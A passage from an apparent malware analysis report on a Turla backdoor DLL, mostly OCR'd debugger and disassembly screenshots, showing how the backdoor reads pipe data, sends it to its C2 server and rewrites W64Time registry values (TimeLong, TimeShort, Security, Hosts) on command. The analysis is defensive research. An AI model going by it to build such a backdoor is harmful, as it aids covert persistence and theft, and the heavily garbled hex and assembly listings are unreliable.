e = Default (x64 fastcall) 52
— — ST AD
qword ptr [D0007FFBA73B3090 <turla.&mriterile>]=<kernel3z.Writerile> 2: rdx OODODIF1GBASADAL L Test"
3: r3 0000000000000008
4: r9 0000D0DSO3EIEFG0D8
. TexTi 00007 FFBA73B19E5 turla.d11:$19E5 #DES {
@oump1  @4oump2  @WDump3  @Woump4  @Woumps @ watchi  [x-lLocals # struct 3333333333333333 {
TAsciz T 1| 6000000000000000
0000000000000000

Figure 57

Address Hex
000001F16BAS9ECO| 00 00 00 nn‘nn 00 00 nn|nn 00 00 nn‘nn 00 00 nn|

il

The process reads data that is available through the pipe using the PeekNamedPipe and ReadFile APIs:

ol e =

Ltext:eeea7FFIATIBELAGS

Ltext:08087FFBA73B1ABS loc 7FFBA73B1AGS: ; dwMilliseconds

LEext:BOBRT7FFBA7IBLAGS mov ecx, rl3d

Ltext:000687FF3A73BLAGE call cs:5leep

Ltext:BeBaT7FFBATIBLABE mov rcx, [rbx+18h] ; hNamedPipe

Ltext:BBBRTFFSATIBLALZ lea rax, [rbp+4Fh+nNumberOfBytesToRead]

LLext:peBav7FF8A73B1A16 xor ri3d, ri3d

Ltext:08087FFBA7IBLALY wor rod, rad 3 lpBytesRead

Ltext:880687FFBA73B1ALC mov gword ptr [rsp+128h+dwCreationfFlags], rl3 ; lpBytesleftThisMessage
et eeeBTFFEATIBLIA2] xor réd, rad ; nBuffersize

.text:PBBeTFFBATIB1A24 xor edx, edx ; lpBuffer

Ltext:BBBATFFBATIBLA2E6 mov gword ptr [rsp+l128h+bInheritHandles], rax ; lpTotalBytesAvail
Ltext:08087FFBA73B1A2E call cs:PeeklamedPipe

Ltext:8BeBv7FFB8AT3IB1AS] test eax, eax

Ltext:BBBBTFFSATIBLAIS jnz short loc 7FFBA73B1A43

Figure 58

P

Ctext:eeeairFFBA7V3B1ATF

.text:08007FFBAT3B1ATF loc_7FFBA73BL1ATF: 3 nNumberOfBytesToRead
.text:00807FFBAT3IB1ATF mov rad, [rbp+4Fh+nNumber0fBytesToRead)
Ltext:BEBATFFBATIBE1ABS lea [rbp+a4Fh+Number0fBytesRead] ; lpNumberOfBytesRead
Ltext:B0B87FFBATIB1AST mov rcx, [rbx+18h] ; hFile

.text:00887FFBA73IBLABE mov rdx, rax ; lpBuffer

.text:88807FFBA7IB1ABE mov gword ptr [rsp+128h+bInheritHandles], rl3 ; lpOverlapped
Ltext:@8eavFFEAT3EB1A93 call cs:ReadFile

Ltext:8@B87FFEBATIBE1A99 test gax, eax

.text:08087FFBAT3IB1A0E jz short loc_7FFBA73BLASE

Figure 59

The pipe content extracted above is exfiltrated to the C2 server.

1st byte = 0x08 — modify the “TimeLong” registry value
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The malware opens the “SYSTEM\CurrentControlSet\Services\W64Time\Parameters” registry key by calling the
RegOpenKeyExW routine (0x80000002 = HKEY_LOCAL_MACHINE, 0x20006 = KEY_WRITE

85 CO Test eax,eax
B e RAX  000000S03EIEFG1S
~ E9 6E 03 00 00 jmp turla.7FF8A7381DB6
8B 40 7F mov ecx,dword ptr ss:frbp+7Fl R EREEEGEESIODUONS
gt c9 Test eck,ecx RDX  D0DODLF16B964FDO L"SYSTEM\\CurrentControlsety}
v 74 4E je turla.7FFBA73B1AD REP  0000D0BO3EIEFSAL
ES BC F8 FF FF E&11 turla.7FF8A7381310 RSP  OOODDOBO3ELEF4DO &L"9988"
48 89 44 24 50 mov gqword ptr ss:[ rsp+sof,rax RSI  O0DOD1F16B979130 &L"SYSTEM\\CurrentControlset’
48 85 CO Test rax,rax RDI  OODOD1F16BASAOAL L"9988"
~ 75 21 jne turla.7FF8A73BIATF
48 8D 4C 24 50 lea rcx,qword ptr_ss:frsp+sof RS 0000000000000000
44 89 6D 7F mov_dword ptr ss:[rop+7Fj,rizd RS9 0000000000020006
E8 E4 F8 FF FF €&l turla.7FF8a73B1350 R10  0000D0D000OO00000
ARG ey Seax, i R11  O0DDDOBOZEIEFSED
BE OB 00 00 00 mov ebx,B
e e Eaa R1Z  0O0DODOBOZELEFEE0
41 OF 45 DD cmovne ebx,ri3d R IIEOnn00000n0n00 )
~ E9 37 03 00 00 jmp turla.?EF8A7IBIDRE R14  000000000000000A
44 8B 45 7F mov rad,dword ptr ss:[frbp+7Fll R15 000000B03ELEF650
4C 8D 4D 77 Tea r9,qword ptr ss:|[rbp+
48 8B 48 10 mov rcx,gword ptr ds:[rbx+10] RIP 00007 FFBA73B1AEF turla. 0D007FF8A73B1AEF
43 38 DO mov rdx,rax
4C 89 6C 24 20 mov_gword ptr ss:[@rsp+200,r13 RFLAGS  0000D000000000246
FF 15 FF 15 00 00 €all qword ptr ds:[<éReadFilex] ZFE 1 PF 1 AF 0
85 CO Test eax,eax
~ 74 C1 je turla.7FFBA73BIASE 2E g .?E g ?:E 2
88 01 00 00 00 mov eax,l
g? gg i 'g:‘s’cgg;;?eax LastError 00000000 {ERROR_SUCCESS)
41 OF 45 DD cmovne ebx,r13d LastStatus CO00007C (STATUS_NO_TOKEN)
~ E9 04 03 00 00 jmp turla. MEESEETIEE
48 3B CF mov_rex,rd GS 0028 FS 0053
E8 76 F9 FF FF call tuFla, 7FFsa7 381430 ES 0028 QS 0028
41 3B C6 cmp_eax,ri4d CS 0033 S5 0028
~ 74 07 je turla.7FFBA73B1ACE
B3 01 mov bl, L x87r0 00000000000000000000 STO Empty 0.0000000000000000C
EREEHNED D7 UG Jmp :urlal.szFaAnE.mss x87r1 00000000000000000000 ST1 Empty 0.0000000000000000C
e S el TSR TAED X87r2 0000DD0O000OOOO000000D ST2 Empty 0.00000000D0000000C
e moyrd onara it Sk 1] X87r3 00000000000000000000 ST2 Empty 0.0000000000000000
SH e nov ebx eax x87r4 00000000000000000000 ST4 Empty 0.0000000000000000
89 45 &7 mov dword ptr ss:[rbp+e7l, eax x87r5 00000000000000000000 STS Empty 0.0000000000000000(
41 B9 06 00 02 00 mov rod,20006 X87r& 00000000000000000000 ST6 EMPTy 0.0000000000000000
48 8D 45 77 lea rax,gword X87r7 00000000000000000000 ST7 EMPTy O.0000000000000000
45 33 CO xor r&d,rad
48 C7 C1 02 00 00 80|mov rcx,FFEFFFFFS x87Tagword FFFF
e AR s B o i
FF 15 0B 15 00 00 call gword ptr Ee———————lle
T Default (x64 fastcal)
EEEE - 80000002
gword ptr [00D07FF8A73B3000 <turla.&RegopenkeyExw>]=<advapi32.RegOpenkeyExw> rdx ODODD1FLEBIE4FD0 L"SYSTEM\\CurrentControlset\\ser
r8 0000000000000000
r3 0000000000020006
. text:00007FFBAT3IBIAEF turla.dl1:$1AEF 2EEF
@ 000001F16BASAOAL
W@Woump1  @Yoump2  Whoump3  WHoump4  @Wpumps @ watch1i  le=lLocals ' struct 000000803ELEF 4D 8 | 0000000000000000 1
o T A 0DD000803EIEF 4E0| 000DDD0D0DDD000D
000001F16B964FDO 53] 00 59 00|53 00 54 D0|45 0D 4D 00[5C 00 43 ””UDD%O:H‘EE‘ES 0000000000?22223
000001F16B964FE0| 75 00 72 00|72 00 65 DO|6E 00 74 00[43 00 6F v =
GOND0IET6RSAEGO | GES TNV 00 (2.2 06 J6E B, GECOn0E Sl L0 65 Sl 2 1 gggggggg;sﬁ;;;s ggggggggggggiggg L"Dad3e319-280c-4F11-94d4-d369
000001F168965000|5C 00 53 00|65 00 72 00|76 00 69 00[63 00 &5 000000803EIEFE08
000001F168965010|73 00 5C 00|57 00 36 00|34 00 54 00(69 00 6D onaGnEG I T
000001F168965020| 65 00 5C 00|50 00 61 00|72 00 61 00|€D 00 &5 SEE &
000001F168965030| 74 00 65 00|72 00 73 0000 00 00 ooloo 00 OO AL e 2 [ JoDDodon0DDonIND,

Figure 60

The “TimeLong” value is modified to a number sent by the C2 server:

48 8D 4C 24 50 Tea rox,gword per ss:rsp-sol
44 89 6D 7F mov. dward ptr ss:firb Fll,r13d gﬁ gggggggggg;s:?gg
E8 E4 F8 FF FF €&l turla.7FF8A73B1350
it At T s r13d RCX 0000000000000 30 " "
88 OB 00 00 00 WO\ hRiR RDX  000O7FFBA73B31C0 L"TimeLong
8 CO Test eax,eax REP  DODDDDBO3ELEFSAL
41 OF 45 DD cmovne ebx,ri3d RSP 0O00DDBO3ELEF4D0O &L"‘3988"
D0D07FF8A. ~ E9 37 03 00 0O jmp turla.7FF8A73B1DBE RSI  0O0D0OD1F16B979130 SYSTEM\\CurrentControlset
00007FFS 44 8B 45 7F mov rad,dword ptr ss:ffrbp+7F] RDI  0O0DOD1F16BASADAL L"Bsaa"
00007 | FFS-'C 4C 8D 4D 77 lea r9,qword ptr ss:[irbp+
48 8B 48 10 mov rcx,qword ptr ds:[rbx+10] RS 0000000000000000
ic 35 6 24 20 o ;33;‘Ea;tr‘ ss:frsp+20f,ri3 . O aoonooa
FF 15 FF 15 00 00 &1 qword ptr ds:[<eReadFilex] Sig gggggggggggggsgg
ey oSt cax cax R1Z  OO00ODSOSELEFEE0
r ok e ae 38 TULla-/FEBAZERIASE R13  0000000000000008
BB 0B 00 00 0D R14  0000DD0DO000ODO0A
85 Co test eax,eax RIS OODDDDBO3ELEFE50
41 OF 45 DD cmovne ebx rizd
~ E9 04 03 00 00 jmp turla. 7rrm735m55 RIP  000O7FFBA73B1B1F turla.00007FF8AT3B1B1F
48 8B CF mov_rcx,rd
E8 76 F9 FF FF call futla. 7rraarag1as0 RFLAGS  0000000000000246.
41 3B C6 cmp eax,ri4d ZE1 PF1 AF O
~ 74 07 je tur'la 7FFBA73B1ACE OF 0 SE O DFO
[ ad o Dl CFo TFO IF1
~ E9 ED 02 00 00 jmp tur"la 7FFBA73B1DB3
48 8B CF mov_rcx,rdi
E8 12 FA FF FF €all turla.7FFEAT3BL4ED LastError 00000000 (ERROR_SUCCESS)
48 3B 16 mov rdx,quord ptr ds:[rsil LastStatus 00000000 (STATUS_SUCCESS)
88 D8 mov ebx,eax
89 45 67 mov dward ptr ss:lrbp+67l, eax GS DD2B  FS 0053
41 B9 06 00 02 00 mov rad,20006 ES 0028 DS 0028
48 8D 45 77 lea rax,qword €5 0033 355 002B
45 33 CO xor rsd,rad
:g g; 5} gi gg 0o 8o mg\\j gﬁngF:EiFff?%UUSEQS] - X87r0 00000000000000000000 STO Empty 0.0000000000000000i
ot 2oll, x87r1 00000000000000000000 ST1 Empty 0.0000000000000000
EELS D815 00500 ‘;‘22 quard ptr ds: [SSREDORENREREINE] X87r2 00000000000000000000 STZ Empty 0.0000000000000000i
. OF 85 B4 02 00 00 Jhe turlh.7FFEATIEDEL x87r3 00000000000000000000 ST3 Empty 0.0000000000000000
. 48 38 4D 77 mov - cer oo nrr mil-l b x87r4 00000000000000000000 ST4 EMPTy O.0000000000000000
. 48 8D 45 67 lea rax,qword ptr ss:Erhpﬁ 1 x87r5 00000000000000000000 STS EMPTy O.0000000000000000
o[ oooozEFaa; 41 B9 04 00 00 00 mov rad,4 %87r6 00000000000000000000 ST6 EMPTY O.0000000000000000
o 00007 FFo"'“BlBUE 48 8D 15 AE 16 00 00|lea rdx,qword ptr ds: [7FF8A73B31C0] ¥87r7 00000000000000000000 ST7 EMPTY 0.0000000000000000
. 44 89 4C 24 28 mov dword ptr ss:fBrsp+2s),rod
. 45 33 CO xor r8d,rad x87Tagword FFFF
. 48 89 44 24 20 oV qward ptr ss:[frsp+20f,r T
FF 15 E3 14 00 00 r.nﬂ qmrd ptr ds [@egsetva]ueixw;] vV
eSS , | efault (64 fastcal)
= S 530
oword ptr [00DD7FFBA73B3008 <turla.eRegSetvalueExw>]=<advapi32.RegsetvalueExw> 2% rdx 0DDD7FF8A73831C0 L"TimeLong”
3: r8 0000000000000000
r9 0000000000000004
. TeXT:00007FFEBA73B1B1F turla.d11:$1B1F #F1F

P 000DD1FLGBASADAL | L' 9988"
Woumpt  gYpump2  @Wpump3  @hoump4  WDumps @ watch1  belLocals 2 struct

Address | Hex | AscIiz | ~
000D00803ELEFG0S |04 27 00 00|00 00 00 00 z A
000000S03EIEF618| 30 05 00 00|00 00 00 00|00 00 00 00|80 00 U0 00| 0.

3!
000000B03ELIEF4ED
000DDOS03ELEF4ES

0000000000000000

4

Figure 61
A confirmation message “08 00” is sent to the C2 server.

1st byte = 0x09 — modify the “TimeShort” registry value
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This command is similar to the one from above. The “TimeShort” value is modified accordingly:

00007FFBA73B1AED 45 33 CO
00007FFBA73B1AES 48 €7 C1 02
00007 FFBA7 3B1AEA 45 B9 44 24
00007FFBA73B1AEF FF 15 OB 15
00007 FFBA7 3B1AFS 85 CO
Q0007FFBA73B1AF7 | ~ OF 85 B4 02
00007FFBA7 3B1AFD 48 8B 4D 77
00007FF8A7 381801 48 8D 45 67
00007FFBA7 3B1B05 41 B9 04 00
00007FF8A7 3B1B08 43 8D 15 AE
BA73B1B12 44 89 4C 24
A73B1B17 45 33 CO
48 89 44 24
FF 15 E3 14
48 8B 4D 77
85 Co
v OF B5 7A 02
00007FF8A73B1B31 FF 15 F1 14
00007FFEA73B1B37 89 SE 08
FBA73B1B3A 32 DB
FEA7IBIB3C| v E9 72 02 00
FBA73B1841 48 8B CF
00007FFBA73B1B44 E8 E7 F8 FF
00007FF8A73B1B49 41 3B C6
00007 FF:A 3B1B4AC ~ 74 07
0007FFS B3 01
~ E9 5E 02 00
48 BB CF
. E8 B3 F39 FF
. 48 8B 16
|| 00007 FFS%’ 8B D8
e | oo007FFBAT 89 45 67
e | oooo7FFsA7 41 B9 06 00
. 7! 48 8D 45 77
. 45 33 CO
. 7 48 C7 C1 02
e || ooD07FFEAT 48 89 44 24
e | oo007FFaAT 7 FF 15 7C 14
e | oooo7FFsa7 85 Co
7! v OF BS 25 02
. 48 8B 4D 77
. 48 BD 45 67
. 41 B9 04 00
. 48 8D 15 37
. 43 89 iC 24
. 45 33 CO
. 48 89 34 24
m FF 15 54 14
] b S
il

00
00

o0
16
28
20
00

oo
00

FF

00
FF

0z

00
o0
o0

00 80
00

00
00 00

00
00

00 80

00 oo

16
28

20
00

00 00

00

xor r8d,rsd

mov rcx,FFFFFFFFB0000002

mov gword ptr ss:firsp+20d,rax

€&l aword ptr ds:[<&RegOpenkKeyExws]
test eax,eax

jne turla.7FF8AT3B1DB1
mov rcx,qword ptr SS:Erbp
lea rax,qword ptr ss:[frbp+6
mov rad,4

lea rdx,qword ptr ds:[7FF8A73B31C0]
mov dword ptr ss:[rsp+25f,rad

xor rs8d,rsd

mov gword ptr ss:frsp+20f,rax

E&1T gword ptr ds: [«ﬂegSetva'lueExw:-]
mov rcx,gqword ptr ss:[rop+77

test eax,eax

jne turla.7FESAT3BIDAR

€am gword ptr d"[<&REgC10seKEy>]

mov dword ptr ds:[rsi+8],ebx
xor bl,bl

jmp turla. 7FF8A7381BB]
mov_rcx,rd

call tur]a 7FFBA73B1430

cmp eax,rl

JE tur1a ?FFSA?!BlBSS
ov bl,1

]mp turla.7FFBAT3B1DB3
mov_rex,rdi
E&11 turla.7FFBA73BI4ED
mov rdx,qword ptr ds:[rsi]
mov ebx,eax
mov dword ptr
mov rod, 20006
lea rax,qword ptr ss:Erbp+77[
xor rs8d,rsd
muv rox, FFFFFFEFB0000002
qwor‘d ptr “.{rspwuj rax
‘|I gword ptr ds: [<&RegOpenkeyExi:]
test eax,eax
jne turla.7FEEAT3B1DE1
mov rcx,qword ptr ss:[frbop+77J
Tea rax,qword ptr ss:[rbp+67,
mov rad,4
Tea rdx,qword ptr ds:[7FF8A73B31D8]
mov dword ptr ss:frsp+2sf,rod
Kur' rad,r8d

oV qwor‘d ptr sp+20f,r
cﬂ] qtrnrd ptr ds [@egsetva]ueExhb]

ss:irbp+67[, eax

<

<
=

RAX  000D0D0803ELEFEOS

REX 0000000000002704

RCX  0000000000000530

RDX  ODOO7FFS8A73831D8 L"Timeshort"

RBP  ODOODOBO3ELEFSAL

RSP  ODOODDS0O3ELEF4D0D & "9988"

RSI  0ODODD1F16B979130 "SYSTEM\\CurrentControlset
RDI  ODODDLF16BASAOAL L"9BBB"

RE 0000000000000000
R2 0000000000000004

R10  0000000000000000

R11  ODOODOSO3ELEF460

R12  0DOODDSO3ELEFEBOD

R13  00000000D0000009

R14  0000000000D00000A

R15  ODODDOSO3ELEFES0

RIP  00007FFSATIE1BAE turla. 00007 FFBAT3B1BAE
RFLAGS  0000000000000246

ZES1 PE

OF 0 SFO DFO

CES0 SIE0 7 TE -1

LastError 00000000 (ERROR_SUCCESS)

LastsStatus 00000000 [STATUS_SUCCESS)

GS 002B FS 0053
ES 00ZB Q3 002B
CS 0033 33 0028

¥87r0 00000000000000000000 STO EMPTY 0.0000000000000000
Xx87r1 00000000000000000000 ST1 Empty 0.0000000000000000
Xx87r2 00000000000000000000 ST2 Empty 0.0000000000000000
Xx87r3 00000000000000000000 ST3 Empty 0.0000000000000000
X87r4 00000000000000000000 ST4 Empty 0.0000000000000000
XB7r5 00000000000000000000 STS Empty 0. 0000000000000000
X87r6 00000000000000000000 ST6 EMPTY 0.0000000000000000
X87r7 00000000000000000000 ST7 EMPTY 0.0000000000000000

x87Tagword FFFF

- TEXT:00007FFBA73B1BAE Turla.d11:$1BAE #FAE

qword ptr [D00D7FFBA73B3008 <turla.&RegSetvalueExw>]=<advapi32.RegsetvalueExw>

Woump1  @oump2  @Dump3 4 Dump4

4% Dump 5

Address

| Hex

@ watch1  Bellocals 4 Stuct
[asciz |

000000803E1EF608 |04 27
000000803E1EF618( 30 05

Figure 62

00 00[{00 00 00 00 2 .
00 00|00 00 00 00(DO 00 00 00|80 0O OO 00|0

530
rdx 00007FF8A73B31D8 L"Timeshort”
rg 0000000000000000
r2 0000000000000004

O00000S03EIEF4DS
000000803EL1EF4EQ
000D0DDS03ELEFIES

000001F16BASAOAL [ L"9988"
0000000000000000
0000000000000000
0000000000000000

EFE08
4

A confirmation message “09 00” is sent to the C2 server.

1st byte = 0x0A — modify the “Security” registry value

This command is similar to the one from above. The “Security” value used in the authentication process is

changed by the backdoor:

0DD07FFSA;
0D0O7FF8AT
0DDOTFFA.

v E9 E3 01 00

00

oo
20
00
00

00
28
20
00

00
00

20
00
00

15

20
00

00 00

00
00

00 80
00

00 00

00

lea rax,qword ptr
xor rs8d,rsd

mov rcx, FEFFFFFFS0000002

mov qword ptr ss:[@rsp+zof,rax

€&l gword ptr ds:[<&RegOpenKeyExws]
test eax,eax

jne turla.7FF8A7381DB1

mov rcx,gword ptr ss: Erbpf
lea rax,qword ptr ss:[frbp+&7l
mov rod,4

Tea rdx,qword ptr_ds:[7FFBA73B31D8]
mov dword ptr ss:[Brsp+zel,rad

xor rad,rsd

ss:firbp+7

mov_gword ptr ss [r’spﬂU],
€& gword ptr d [<&ﬂegsetva1uesxw>]
mov rcx,gword ptr ss:ffrbp+77Q

test eax,eax
jne tur'la 7FFS8AT3B1DAB
cal

[l gword ptr ds:[<&RegCloseKey>]
mov dword ptr ds:[r’ch],ebx
xor b1,bl
imp turla. ?FFBA?}B].DB]
mov_rcx,r
call mﬂa 7FF8AT381430
cmp_eax,rl
je turla. ?FFSA?!BlEE-i
mov bl,

imp tur]a.?FFaA?!smBB

mov rbx,qword ptr ds:[rsi]
mav_rcx,rdi

€alll turla.7FFBAT381430

mov ril4d,eax

mov rod, 20006

lea rax,qword ptr ss:[rbp+s7[

xor rad,r

mov rdx,rbx

mov gword ptr ss:[rsp+20f,rax
mov_rcx,FFFFFFFFB0000002

E&81N gword ptr ds:[<eRegOpenkeyExw>]
test eax,eax

jne turla.7FF8A7381DB1

mov rcx,gqword ptr ss:[Jrbp+s7

Tea rod,qword ptr ds:[rax+1]

mov dword ptr ss:frsp+2s)l,ridd

lea rdx,gword ptr ds:[7FF8A73B31F0]

[rsp+2u] 5

. TeXT:00007FF8A73B1C38 turla.dl1:$1C38 #1038

qword ptr [DODD7FFBA73B3008 <turla.dRegSetvalueExws>]=<advapi3z.RegsetvalueExns

Figure 63

@Woump1  @Ypump2  @Dump3 Wpump4 @ Dump S @ watch 1 el Locals 4 struct
Address Hex | AscIz

000001F168964FD0| 53 00 59 00|53 00 54 00|45 00 4D 0DO|5C 0O 43 00 s v S.T.E.M.\.C.
0OD0D01F16B964FED |75 00 72 00|72 00 65 00|€E 00 74 DO|43 00 6F 00 .r.e.n.t.c.o.

RAX 0000000000000000

RBX  00DD0D1F16B964FDO L"SYSTEM\\Currentcontrolsety
RCX  0000000000000530

RDX  00DD7FF8A73B31F0 L"security”

RBP  0OODDDDSO3ELEFSAL

RSP 00DDDDDSO3ELEF4D0 &L test"

RSI  0000D1F16B979130 &L"SYSTEM\\CurrentControlset
RDI  00000D1F16BASADAL L"test"

RS 0000000000000000
R 0000000000000001

R10 0000000000000000

R11  000DDDSO3ELEF460

R1Z  00DDDDSO3ELEFEBO

R13  000000000000000A

R14  000000D0000000D0A

R15  00DDDDSO3ELEFE50

RIP  O0DDO7FFBA73BIC358 turla.00007FF8A73B1C38
RFLAGS  0000000000000246

ZF 1 PF 1 AF O

OF 0 SF O DF O

CF O TFO IF1

LasteError 00000000 (ERROR_SUCCESS)

LasTSTatus 00000000 (STATUS_SUCCESS)

GS DD2B FS 0053
ES 0028 Q5 002B
€5 0033 35 002B

X87r0 00000000000000000000 STO Empty 0.0000000000000000
X87r1 00000000000000000000 ST1 Empty 0.0000000000000000M0
X87r2 00000000000000000000 5T2 Empty 0.00000000000000004
X87r3 00000000000000000000 ST3 Empty 0.00000000000000004
X87r4 00000000000000000000 S5T4 EMPTY 0.00000000000000001
X87F5 00000000000000000000 STS EMPTY 0.00000000000000001
¥87F6 00000000000000000000 STE EMPTY 0.00000000000000001
X87F7 00000000000000000000 ST7 EMPTY 0.00000000000000001

x87Tagword FFFF

T ]

Defait (x64 fastcal)

1: rex 0000000000DD0S 30

2! rdx OODDO7FF8A73B31F0 L"Security”
3: rg& 0000000000000000
4! r9 0000000000000001

0
0DD00080D3E1EFADS
000000303E1EF4ED
0DD000S0D3ELIEFAES
803E1EF4F0 | 000D01F1GBAS,

0000000000000000
ADAL

L test™

1EF4FS
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A confirmation message “OA 00” is sent to the C2 server.

1st byte = 0x0B — modify the “Hosts” registry value

This command is similar to the one from above. The “Hosts” value that contains the list of C2 servers is changed

by the malware:

43 BB 4D &7 mov rcx,gqword ptr ss:firbp+e7])
85 CO test eax,eax
------------ ~ OF B5 &1 01 00 00O ine tur]a ?FF&A?BB].DAB
44 FF 15 D8 13 00 00 call qwar"d _ptr ds:[<e@RegClosekey>]
43 BB CF mov_rex,rd
E8 D8 F7 FF FF call tuﬂa 7FF8A73B1430
8B CB mov ecx, Eax
8B D8 mov_ebx, ea:
ES AF F6 FF FF call tuﬂa 7FFBA73B1310
4C 88 FO mov ri4,rax
45 85 CO test rax,rax
~ OF B4 44 01 00 00 j& turla.7FF8A73B1DB1
44 BB C3 mov rad,ebx
43 88 D7 mov rdx,r’di
45 8B C8 mov_rcx,rax

E8 15 F7 FF FF
48 8D S5E 10

€all turla.7FFBA73B1390
Tea rbx,qwnrd ptr ds:[rsi+10]

lea rad,qword
44 89 74 24 28 mov dword ptr ss
00 00

] 4d
Tea rdx,qword ptr‘ (I; [?FF&A?}B}ZD&]
Kar‘ red,rsd
ov gword ptr
cn'l'l qmrd _ptr

43 88 CB mov_rcx, rbx
E8 C9 F6& FF FF €alll turla.7FF8A7381350
4C B9 33 mov qwor‘d ptr ds:[rbx],ri4
32 pB xor bl,bl
~ E9 22 01 00 00 jmp turla.7FF8ATIRIDE3
48 88 CF mov_rcx,rdi
ES 97 F7 FF FF call tuﬂa 7FFBA73B1430
41 38 C6 cmp eax,ri
v 74 07 je turla. 7FFaA7331cA5
B3 01 mov bl,1
v E9 OE 01 00 00 jmp turla.7EEEAT3B1DE3
43 88 1E mov rbx qword ptr ds:[rsi]
45 BB CF mov_rcx,
. E8 80 F7 FF FF call tur'1a 7FF3A?331430
e 44 8B FO mov ri4d,
. 41 B9 06 00 02 00 mov I’9d,2000"
. 45 8D 45 77 lea rax,qword ptr ss:[Brbp+77]
. 45 33 CO xor r&d,r8d
. 43 88 D3 mov rdx,rbx
. 48 89 44 24 20 mov gword ptr ss:ffrsp+2of,rax
. 48 C7 €1 02 00 00 80|mov rcx,FFFFFFFFE0000002
. FF 15 2B 13 00 00 €all gword ptr ds:[<&RegOpenkeyExw=]
. 85 Co Test eax,eax
---- v OF B85 D4 00 00 00 jne turla.7FFBA73BIDB1
. 43 8B 4D 77 mov rcx,qword
°
o
.
.
.

Brsp+zoll,rd

RAX  0000000000000000

REX  ODOODLF16B964FDD L"SYSTEM\\Currentcontrolsety)
RCX  000DDOOOD0000530

RDX  ODOD7FFSA73B3208 L"Hosts"

REP  0ODODDOSO3ELEFSAL

RSP  ODODDOSO3ELEF4DO &L"80.80.80.80 443"

RSI  000001F16B979130 &L"SYSTEM\\CurrentControlset\
RDI  0ODODDLIF16BASAOAL L"80.80.80.80 443"

RE 0000000000000000
R9 0000000000000001

R10 0000000000000000

R11  0DOO0DOSO3ELEF460

R1Z  ODOODDSO3ELEFEBOD

R13  000000000D000000B

R14  000000000D00000Z0 v

R15  ODOODOSO3ELEFES0

RIP  ODOO7FF8A73B1CF9 Turla. 00007 FF8A73B1CF9
RFLAGS  0000000000000246

FESIPE

OF 0 SFO DFO

CFO TFO IF 1

LastError 00000000 (ERROR_SUCCESS)

LastsStatus 00000000 [STATUS_SUCCESS)

GS 002B FS 0053
ES 002B RS 0028

CS 0033 33 0028

X87r0 00000000000000000000 STO EMPTY 0.0000000000000000C
X87r1 00000000000000000000 ST1 EMPTY 0.0000000000000000C
¥87r2 00000000000000000000 ST2 EMPTY 0.0000000000000000C
¥87r3 00000000000000000000 ST3 EMPTY 0.0000000000000000C
¥87r4 00000000000000000000 ST4 EMPTY 0.0000000000000000C
Xx87r5 00000000000000000000 STS Empty 0.0000000000000000C
Xx87r6 00000000000000000000 ST6 Empty 0.0000000000000000C
Xx87r7 00000000000000000000 ST7 Empty 0.0000000000000000C

x87Tagword FFFF

qword ptr [D00D7FFBA73B3008 <turla.&RegSetvalueExw>]=<advapi32.RegsetvalueExw>

« TEXT: 00007 FFBA73BICFY turla.d11: $1CF9 #10F9

1
. E“] Unlocke:

Default (x64 fastcall)
1z

520
rdx 00007FF8A73B3208 L"Hosts"
r3 0000000000000000
4: rg 0000000000000001

FIEELN] 000001F16BA5A0AL | L"80.80. 80. 80 4437 5
0000000000000000
0000000000000000
0000000000000000
1F16BASA0AL | L"80.80. 80.80 443"

@pump1  @YDump2 @4 Dump3 P Dump 4 @4 pump 5 5 watch 1 [x=] Locals
Address | Hex

00DD01F168964FD0[ 53] DD 59 00|53 OO 54 00[45 DD 4D DO|5C DD 43 00 s
000001F16B964FED| 75 00 72 00 00 65 00|6E 00 74 DO|43 0D &F 00

Figure 64

CommandLineToArgvW is utilized to retrieve an array of pointers to the C2 server(s):

48 8D 55 67 lea rax,qword ptr ss:grop+c7

45 BE CF mov_rcx,rdi

FF 15 9A 13 00 00 €all gqword ptr ds:[<&CommandLineToArgviw>]
45 B9 45 BT mov gword ptr ss:|[frbp-79f,rax

48 85 CO test rax,rax

an An ia turla TCcoATIDAnDA

Figure 65

A confirmation message “OB 00” is sent to the C2 server.
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